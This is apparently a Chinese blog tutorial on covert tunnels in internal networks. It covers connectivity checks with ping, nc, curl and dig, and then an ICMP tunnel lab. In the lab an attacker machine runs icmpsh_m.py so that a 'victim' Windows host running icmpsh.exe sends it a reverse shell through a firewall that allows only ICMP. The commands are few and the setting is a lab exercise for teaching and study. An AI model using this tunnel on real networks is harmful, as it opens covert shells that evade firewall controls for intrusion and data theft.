内网安全---隐藏通信隧道基础&&网络通信隧道之一ICMP隧道
一,隐藏通信隧道基础知识
在完成信息收集之后,我们要判断流量是否出的去、进的来。隐藏通信隧道技术常用于在受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。
1.常见的隧道:
.网络层:IPv6隧道、ICMP隧道、GRE隧道
.传输层:TCP隧道、UDP隧道、常规端口转发
.应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
2.判断内网的连通性
判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等。常用的内网连通性判断方法有:
1>ICMP协议
执行命令 ping <IP/域名>
2>TCP协议
netcat(简称:nc)被誉为网安界的“瑞士军刀”,是一个短小精悍的工具,通常使用TCP或UDP协议的网络连接读写数据。
nc <ip 端口>
3>HTTP协议
curl是一个利用URL规则在命令行工作的综合文件传输工具,支持文件的上传和下载。
curl命令不仅支持HTTP、HTTPS、FTP等众多协议,还支持POST、Cookie、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征
curl <ip地址:端口号>,如果远程主机开启了相应的端口,则会输出相应的端口信息,如果远程主机没有开通相应的端口,则没有任何提示,ctrl+c键可断开连接
4>DNS协议
在进行DNS连通性检测时,常用的命令为nslookup和dig
nslookup www.baidu.com vps-ip
dig是Linux默认自带的DNS探测命令,在没有指定的vps-ip时,dig会到/etc/resolv.conf文件中读取系统配置的DNS服务器的地址。如果vps-ip为192.168.43.1将解析百度网的IP地址,说明目前DNS协议是连通的,
dig @vps-ip www.baidu.com
还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的场景。常用的判断方法如下
a.查看网络连接,判断是否存在与其他机器的8080(不绝对)等端口的连接(可以尝试运行ping -n 1 -a ip )
b.查看内网中是否有主机名类似于proxy的机器
c.查看IE浏览器的直接代理
d.根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来并查看
e.执行如下命令,利用curl工具进行确定
curl www.baidu.com //不通
curl -x proxy-ip:port www.baidu.com //通
二,ICMP隧道实验
1.网络拓扑图
2.环境及工具
kali Liunx(黑客):192.168.4.136(公网IP)
windows server 2008(受害者):1.1.1.11(内网IP)
工具:icmpsh
隧道:icmp隧道
防火墙将其分为内网和外网
当受害者下载了icmpsh.exe执行程序后。。。
3.实验步骤
3.1防火墙规则,只允许icmp数据包通过防火墙
3.2kali linux上安装icmpsh
.git clone https://github.com/inquisb/icmpsh.git
.apt-get install python-impacket
.sysctl -w net.ipv4.icmp_echo_ignore_all=1 //因为icmpsh工具要代替本身的ping命令的应答程序,所以需要输入此命令来关闭本地系统的ICMP应答(如果要恢复系统应答,则设置为0),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入)
cd ./icmpsh
#./icmpsh_m.py IP(公网) IP(内网)
3.3windows server 2008中运行icmpsh.exe
当window运行icmpsh.exe后,kali linux上会得到受害者机器的一个shell
之后就可以再进行下一步的渗透工具,以达到渗透和获取信息的目的
内网安全---隐藏通信隧道基础&&网络通信隧道之一ICMP隧道的更多相关文章
- 解决网络通信中外网和内网之间的通信问题(NAT转换)
本文原址 http://www.cnblogs.com/lidabo/p/3828846.html 在网络编码中会发现程序在局域网中是可以适用的,但是在外网与内网之间和内网与内网之间就不可行.问题就在 ...
- 解决外网与内网或内网之间的通信,NAT穿透
在网络编码中会发现程序在局域网中是可以适用的,但是在外网与内网之间和内网与内网之间就不可行.问题就在于NAT.首先介绍下NAT. NAT的作用NAT(Network Address Translato ...
- 公司内网Debian Server上的openvpnserver搭建并通过SSH隧道转发到广域网
因为戴维营公司在长沙的学员,研发人员和北京的研发人员须要协同研发,故须要让北京的兄弟们增加到长沙办公室的内网,訪问版本号 管理server,于是採用在内网server上搭建一个OpenVPN服务,并把 ...
- 内网流量操控---pingtunnel建立icmp隧道
一.pingtunnel工作原理 在上面的实验环境中,我们将分别在攻击机kali 2020和webserver上部署pingtunnel工具,在量太主机之间实现icmp隧道,再在kali2020上监听 ...
- 烂泥:openvpn tun模式下客户端与内网机器通信
本文由秀依林枫提供友情赞助,首发于烂泥行天下 前两篇文章我们介绍了有关openvpn的搭建与配置文件的讲解,这篇文章我们再聊介绍下,在tun模式下openvpn客户端如何与内网机器通信的问题. 一.实 ...
- 手写内网穿透服务端客户端(NAT穿透)原理及实现
Hello,I'm Shendi. 这天心血来潮,决定做一个内网穿透的软件. 用过花生壳等软件的就知道内网穿透是个啥,干嘛用的了. 我们如果有服务器(比如tomcat),实际上我们在电脑上开启了服务器 ...
- 内网漫游之SOCKS代理大结局
0×01 引言 在实际渗透过程中,我们成功入侵了目标服务器.接着我们想在本机上通过浏览器或者其他客户端软件访问目标机器内部网络中所开放的端口,比如内网的3389端口.内网网站8080端口等等.传统的方 ...
- 内网安全监控和预警平台架构设想(OSSIM)
内网安全监控和预警平台架构设想 需求简介 内网安全监控和预警平台是内网安全建设的物质基础,是所有甲方安全建设的必备武器库,无论是应急响应和追踪溯源,还是预知告警.自我清查:做下来总的体会是几个问题永远 ...
- [内网渗透]lcx端口转发
0x01 简介 lcx是一款端口转发工具,有三个功能: 第一个功能将本地端口转发到远程主机某个端口上 第二个功能将本地端口转发到本地另一个端口上 第三个功能是进行监听并进行转发使用 Lcx使用的前提是 ...
随机推荐
- 基于SpringBoot如何实现一个点赞功能?
基于SpringBoot如何实现一个点赞功能? 解析: 基于 SpringCloud, 用户发起点赞.取消点赞后先存入 Redis 中,再每隔两小时从 Redis 读取点赞数据写入数据库中做持久化存储 ...
- IoC容器-Bean管理注解方式(创建对象)
IoC操作Bean管理(基于注解方式) 1,什么是注解 (1)注解是代码特殊标记,格式:@注解名称(属性名称=属性值,属性名称=属性值...) (2)使用注解,注解作用在类上面,方法上面,属性上面 ( ...
- 【webpack4.0】---webpack的基本使用(四)
一.什么是babel babel是一个编译javascript的平台,它可以编译代码帮你达到以下目的 1.让你使用最近的javascript代码(ES6 ES7) 而不用管新的标准浏览器是否支持 ...
- JVM专题2: JVM内存结构
合集目录 JVM专题2: JVM内存结构 Java 内存分配 JVM 内存结构 The JVM is an abstract computing machine that enables a comp ...
- python 模块Module
一.模块 1.定义: 模块是一个python文件,以.py结尾,包含了python对象定义和python语句. 2.作用: 模块内可以定义函数.类和变量: 模块可以提高代码的可维护性和重复使用: 让代 ...
- django之定义统一返回数据格式与GET/POST装饰器
1. 为了返回给网页前端的格式统一,定义一个通用的插件类,返回统一格式数据 # enconding:utf-8 """ 定义一个插件类, ""&quo ...
- 一条SQL更新语句是如何执行的
文章首发于公众号「蝉沐风」,认真写好每一篇文章,欢迎大家关注交流 这是图解MySQL的第2篇文章,这篇文章会通过一条SQL更新语句的执行流程让大家清楚地明白: 什么是InnoDB页?缓存页又是什么?为 ...
- 关于将px转换为vw vh的解决方案
什么是vw(Viewport Width)和vh(Viewport Height)? vw和vh是前端开发中的一个动态单位,是一个相对于网页视口的单位. 系统会将视口的宽度和高度分为100份,1vw占 ...
- 自动循环滚动ScrollView
// // SBCycleScrollView.h // SBCycleScrollView // // Created by luo.h on 15/7/12. // Copyright (c) 2 ...
- File常用的方法
import java.io.File; import java.io.IOException; /* 创建: createNewFile() 在指定位置创建一个空文件,成功就返回true,如果已存在 ...